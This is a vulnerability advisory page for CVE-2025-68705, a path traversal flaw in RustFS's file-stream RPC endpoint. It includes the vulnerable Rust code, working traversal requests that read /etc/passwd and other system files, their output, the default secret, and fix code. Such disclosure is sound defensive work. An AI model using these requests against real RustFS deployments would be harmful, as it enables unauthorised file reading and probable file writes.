Loading...
Skip to main content

CVE-2025-68705 — Vulnerability in rustfs — CVE Details

HIGH

RustFS Path Traversal Vulnerability

Published January 7, 2026Updated February 3, 2026Source: osv

Summary

# RustFS Path Traversal Vulnerability ## Vulnerability Details - **CVE ID**: - **Severity**: Critical (CVSS estimated 9.9) - **Impact**: Arbitrary File Read/Write - **Component**: `/rustfs/rpc/read_file_stream` endpoint - **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791` ### Vulnerable Code ```rust // local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?; ``` The code uses `PathBuf::join()` without: - Canonicalization - Path boundary validation - Protection against `../` sequences - Protection against absolute paths ## Proof of Concept ### Test Environment - **Target**: RustFS v0.0.5 (Docker container) - **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream` - **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY) - **Disk ID**: `/data/rustfs0` - **Volume**: `.rustfs.sys` ### Attack Scenario #### Exploit Parameters ``` disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size ``` #### Required Authentication RPC requests require HMAC-SHA256 signature: ```python # Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp ``` ### Successful Exploits #### 1. Read `/etc/passwd` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin ``` **Impact**: Full user account enumeration --- #### 2. Read `/etc/hosts` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2 ``` **Impact**: Network configuration disclosure --- #### 3. Read `/etc/hostname` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` d25e05a19bd2 ``` **Impact**: System information disclosure --- ## Technical Analysis ### Data Flow ``` 1. HTTP Request ↓ 2. RPC Signature Verification (verify_rpc_signature) ↓ 3. Find Disk (find_local_disk) ↓ 4. Read File Stream (disk.read_file_stream) ↓ 5. VULNERABLE: volume_dir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd ``` ### Path Traversal Mechanism ```rust // Example traversal: volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd" // PathBuf::join() resolves to: file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped! ``` ### Why It Works 1. **No Canonicalization**: Code doesn't use `canonicalize()` before validation 2. **No Boundary Check**: No verification that final path is within volume_dir 3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences 4. **Length-Only Validation**: `check_path_length()` only checks string length ### Special Considerations - **File Size Constraint**: The `length` parameter must exactly match file size - Code validates: `file.len() >= offset + length` - Otherwise returns `DiskError::FileCorrupt` - **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`) - **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP` ## Impact Assessment ### Confidentiality Impact: HIGH - ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`) - ⚠ Potential to read: - SSH keys (`/root/.ssh/id_rsa`) - Application secrets - RustFS configuration files - Environment variables from `/proc` ### Integrity Impact: HIGH - ⚠ Similar vulnerability exists in `put_file_stream` (not tested) - ⚠ Arbitrary file write likely possible - ⚠ Could write to: - Cron jobs - authorized_keys - System binaries (if permissions allow) ### Availability Impact: MEDIUM - ⚠ `walk_dir` endpoint could enumerate entire filesystem - ⚠ Potential DoS via recursive directory traversal ## Exploitation Requirements ### Prerequisites 1. **Network Access**: Ability to reach RustFS RPC endpoints 2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY - Default: `"rustfs-default-secret"` - Production: From environment variable or config 3. **Disk/Volume Knowledge**: Valid disk ID and volume name 4. **File Size Knowledge**: Exact file sizes for successful reads ### Attack Complexity - **Without Secret**: Impossible (signature verification) - **With Secret**: Trivial (automated script) - **With Default Secret**: Critical risk if not changed ## Mitigation Recommendations ### Immediate Actions (Priority 0) 1. **Path Canonicalization** ```rust async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volume_dir = self.get_bucket_path(volume)?; // CRITICAL FIX: let file_path = volume_dir.join(Path::new(&path)); let canonical = file_path.canonicalize() .map_err(|_| DiskError::FileNotFound)?; // Validate path is within volume_dir if !canonical.starts_with(&volume_dir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); } // Continue with validated path... } ``` 2. **Path Component Validation** ```rust // Reject dangerous path components if path.contains("..") || path.starts_with('/') { return Err(DiskError::InvalidArgument); } ``` 3. **Use path-clean Crate** ```rust use path_clean::PathClean; let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains("..") { return Err(DiskError::InvalidArgument); } ``` ### Additional Security Measures 4. **Audit Logging**: Log all RPC file operations with full paths 5. **Rate Limiting**: Prevent DoS via repeated RPC calls 6. **Secret Rotation**: Ensure unique RPC secrets per deployment 7. **Network Segmentation**: Restrict RPC endpoint access 8. **Security Testing**: Add path traversal tests to test suite ### Long-term Improvements 9. **Chroot Jail**: Isolate RPC operations in chroot environment 10. **Least Privilege**: Run RustFS with minimal file system permissions 11. **Security Audit**: Comprehensive review of all file operations ## Proof of Concept Script The complete PoC is available at: `exploit_path_traversal.py` ### Usage ```bash # Ensure RustFS is running docker compose ps # Run exploit python3 exploit_path_traversal.py ``` ### Output ``` [+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================ ``` ## Acknowledgements RustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability. Acknowledgements: RustFS would like to thank @realansgar and **bilisheep** from the **Xmirror Security Team** for providing the security report.

Advisory Timeline

  • First published January 7, 2026 (278 days ago).
  • Last revised February 3, 2026 — 26 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update rustfs to 1.0.0-alpha.79 or later
cargo update -p rustfs --precise 1.0.0-alpha.79

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageEcosystemAffectedFixed In
rustfs
crates.io
All versions1.0.0-alpha.79

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2025-68705?
RustFS Path Traversal Vulnerability This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2025-68705?
CVE-2025-68705 affects rustfs. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-68705 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-pq29-69jg-9mxc

Related CVEs

  • CVE-2025-68926
    CRITICAL

    RustFS has a gRPC Hardcoded Token Authentication Bypass

  • CVE-2026-27822
    CRITICAL

    Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover

  • CVE-2026-21862
    HIGH

    RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers

  • GHSA-mm2q-qcmx-gw4w
    HIGH

    RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover

  • CVE-2026-40937
    HIGH

    RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks

  • CVE-2026-27607
    HIGH

    RustFS: Missing Post Policy Validation leads to Arbitrary Object Write

  • CVE-2026-22042
    MEDIUM

    RustFS has IAM Incorrect Authorization in ImportIam that Allows Privilege Escalation

  • CVE-2026-22043
    MEDIUM

    RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies